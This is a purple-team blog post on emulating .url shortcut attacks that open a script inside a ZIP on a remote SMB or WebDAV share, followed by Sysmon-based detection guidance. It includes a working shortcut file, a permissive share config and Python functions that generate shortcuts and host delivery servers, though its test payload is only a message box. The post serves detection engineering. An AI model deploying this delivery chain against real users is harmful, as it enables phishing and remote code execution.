Skip to Main Content
January 25, 2024

From Zero to Purple

Written by Zach Bevilacqua
Purple Team Adversarial Detection & Countermeasures

Introduction

For any Purple Team, or team using offensive techniques for defensive purposes, we need to make sure we are developing new techniques based on real-world scenarios by threat actors and groups. You’ll receive the most benefit from reproducing attacks that are being used in real-world campaigns against your organization or others you find while researching prevalent global attacks. You would definitely want to avoid pursuing theoretical or fringe techniques, such as exfiltrating data based on desk vibrations from the keyboard. While interesting to study these methods, it's not worth your time and effort to attempt to defend against, all while simple malicious documents still loom over your security teams.

In my opinion, intelligence-based scenarios will produce the best test of an environment’s reaction to the designated threat as well as keep your defenses as current and valid as possible. Threat intelligence is highly useful for this purpose, and your sources of intel do not have to cost money. Social media platforms offer a plethora of information on current happenings in the cybersecurity community. They often will link out to blogs and other articles to continue your research. Any number of other public resources are available to you—just be careful if you decide to tinker with live samples. Even if you 'know' what you’re doing, you can still pwn yourself…hard.

Research

As I mentioned, there are countless sources for TTPs to generate ideas for adversary emulation and subsequent detection engineering. Emerging attacks can be sourced from a myriad of places, such as malware samples from your favorite sandbox or a repository of write-ups and malware from vx-underground.

Also consider social media, a decent source for new attacks, theoretical or active in the wild. For the purposes of this blog, I will use a recent post on X at the time of writing. Using social media as an example, here is a post from Will Dormann (@wdormann):

https://x.com/wdormann/status/1683869862844682240.

Figure 1 – Post by @wdormann on X

You can call a file from inside a remotely hosted ZIP compressed archive. Using an Internet shortcut file (.url), you can deliver this to a target with relatively low suspicion. Quite interesting, it also appears that this approach has been used in real-world attacks:

https://x.com/ffforward/status/1726540034462159165.

Figure 2 – Post by @ffforward on X

This is a fairly simple setup with an SMB or WebDAV share somewhere, hosting a ZIP file containing the desired payload paired with a .url file pointing to the payload of our choosing using the local file address file://path/to/file.zip/contents.FAVORITE_EXTENSION_HERE.

The first thing we should do is work on the .url file since this is the technique we want to focus on. I couldn’t find too much documentation related to the INTERNETSHORTCUT file type. There are a few rabbit holes to go down here. This is the most official documentation I could find: https://learn.microsoft.com/en-us/windows/win32/lwef/internet-shortcuts.

However, we don’t truly need to know any of this. We could create our own shortcuts based on the examples from the earlier posts and other resources. While you could just get away with the 'URL' field and header, it’s trivial to add a touch of flair to it. 

The .urlfile is just a text file with a header of [InternetShortcut]. IDList is not required and is a complicated, undocumented structure. The URL parameter is just that, the URL. This will be the target for the default browser of the system. In this case we are specifying a 'local' file as the target. This would be the only required parameter, though I have specified others to make things more interesting. 

WorkingDirectory sets the current local directory for context of the browser, ShowCommand, which designates how the window is displayed where 7 is normal, 3 is maximized, and 2 is minimized. ShowCommandwill most likely not come into play here. IconIndex is used in conjunction with IconFile, where IconIndex chooses the icon image from the designated file in the IconFile parameter since some files can contain several different icons. IconFile can be an .ico, .exe, or .dll file. We will use nslookup.exe to utilize its icon for our shortcut, which gives us the following structure and look.

[InternetShortcut]
IDList=
URL=file://10.211.55.7/US/DOC609-2611/GOV.zip/GOV.vbs
WorkingDirectory=C:\temp\
ShowCommand=7
IconIndex=0
IconFile=C:\WINDOWS\SYSTEM32\nslookup.exe
Figure 3 - .url File Using the nslookup Icon

As a quick test, I’m going to stand up an SMB server on my Ubuntu host with Samba and this permissive config file /etc/samba/smb.conf.

[global]
        server string = GOV
        server role = standalone server
        interfaces = lo eth0
        bind interfaces only = yes
        disable netbios = yes
        smb ports = 445
        log file = /var/log/samba/smb.log
        max log size = 10000
        security = user
        guest account = nobody
        map to guest = Bad user
[US]
        path = /Home/Neelix/Desktop/US
        guest ok = yes
        read only = yes

We can emulate what Will did in his post by hosting a ZIP file with a VBScript inside. Nothing complicated, just a quick proof of concept.

Sub foo()
MsgBox "woot", 0, "it works!"
end Sub

foo()

We can pack that into a ZIP archive and place it inside of the share we created earlier, making sure that the path and file names match up to our shortcut. Now we double-click the shortcut file.

Figure 4 – MsgBox Popup After Clicking the Shortcut File

W00t! It works! So now we have the structure of the attack. We aren’t done though. Since we are working on a Purple Team solution here, we want to look for detection opportunities as well as build something that is repeatable and transportable. If there are others on your team, it would be beneficial to create something that can be handed off to a peer and executed with little effort.

Development

Let’s look at packing what we learned into something that a team can use reliably to produce the same payload quickly. I would like to make a Python module that I can snap into a private menu driven framework I’m working on. So breaking this up, I would want to generate an Internet Shortcut file, and it would need a payload to execute, so we should build that as well. Then those would need to be written out as files. The payload would need to be written out and compressed as a ZIP. Subsequently, we would need to host that file.

 I will be using Python to facilitate the generation, but you could do anything that makes sense for you and for your team. I would like to start a with a basic template of a .url file so we can dynamically fill in the destination URI and path.

[InternetShortcut]
URL=file://{{PAYLOAD_REMOTE_URL}}

We’ll save this as URL_Template.txt. Next, we want to read that file and replace the tagged text with our destination string. This can easily be done with the following function.

def createNewShortcut(payloadPath):
	with open(“URL_Template.txt”, ‘r’) as file:
		infile = file.read()
	infile = infile.replace (‘{{PAYLOAD_REMOTE_URL}}’, payloadPath)

We should also make sure we have a function to start up our SMB server. Instead of using the Samba service we’ll use Impacket’s SimpleSMBServer module.

def deploySMBServer(shareName, listenIP):
    server = SimpleSMBServer(listenAddress=listenIP, listenPort=445)
    server.addShare(shareName, '.', '')
    server.setSMBChallenge('')
    server.setSMB2Support(True)
    try:
        server.start()
    except KeyboardInterrupt:
        server.stop()

For completeness, we can put a WebDAV server together since SMB to the Internet is highly suspicious.

from cheroot import wsgi
from wsgidav.wsgidav_app import WsgiDAVApp

def deployWebDAVServer():
	config = {
		"host": "0.0.0.0",
		"port": 80,
		"provider_mapping": {"/": {"root": ".", "readonly":True}},
		"dir_browser": {"davmount": False, "msmount": False, "msmount_show_challenge": False},
		"http_authenticator": {"accept_basic": False, "accept_digest": False, "trusted_auth_header": ''},
		"simple_dc": {"user_mapping": {'*': True}}
	}

	app = WsgiDAVApp(config)
	
	server_args = {
		"bind_addr": (config["host"], config["port"]),
		"wsgi_app": app,
	}
	server= wsgi.Server(**server_args)
	
	try:
		server.start()
	except KeyboardInterrupt:
		server.stop()

This way we can transport our module around and specify our listening address and what sharename we are using dynamically. We should also look into dropping whatever testing payload we want to make sure we have variance in the final result. While this is outside the scope of the original technique it might be worthwhile to see different execution types.

Putting this all together gives us a way to produce a clean script or module to hand to another member of the team and execute against a target machine for testing or detection engineering purposes. Take note that this will need elevated/root privileges to execute since we are serving a port within the 1024 range, as those are reserved ports. Also, this is geared toward a Linux host as the 'attacker' machine; however, this should function on Windows just as well.

Figure 5 - Alpha Version Framework Internet Shortcut Creation
Figure 6 - Internet Shortcut Interaction - SUCCESS

Detection

We should start to look for detection opportunities. Internet Shortcut files are similar to regular shortcut files (.lnk) in that they are handled by core Windows components (Windows Shell). The launch is abstracted by the shell to call the default web browser with the parameters of the file. I wouldn’t expect to find artifacts related to the .url anymore than we find with .lnk files.

With that said we can look for other surrounding artifacts. A potential scenario is a user being sent a phishing email containing the .url file as an attachment or a link to an external resource. These are easy enough to watch in terms of file types being downloaded. Email gateways or web filtering, if configured correctly, could remove the file from the session, or alert to its existence.

Catch the .urland/or payload file creation with Sysmon:

NOTE: Be careful with these events as they are very frequent. I suggest filtering these events for only the criteria you’re targeting.

  • Sysmon 15 - File stream created
    • .url file
      • Look for a file stream with an extension of .url
    • Target payload
      • Look for a file stream in the \AppData\Local\Microsoft\Windows\INetCache\IE\ path with a suspicious extension (.vbs, .exe, .dll, .ps1, etc.)
    • This event has the added benefit of also being able to see the contents of the file.
Figure 7 - Sysmon 15
  • Sysmon 11 - File created
    • This has the exact same criteria as Sysmon 15; however, this event will not record the contents.
Figure 8 - Sysmon 11

While these two events seem the same, there is a perspective difference between them. Sysmon event 11 will show the file is created on disk regardless of data being written, while Sysmon event 15 shows there is data being written into the file object on disk.

Catch Remote Resource being executed:

  • Sysmon 1 or Windows Event 4688
    • Any executable executing from or a file from the\AppData\Local\Microsoft\Windows\INetCache\IE\directory
    • While this may happen legitimately, it is definitely suspicious, and you should watch for this in your environment.
Figure 9 - Windows Event 4688

At this point, any further detection falls outside of the original focus of the URL file and moves into other techniques.

Happy hunting!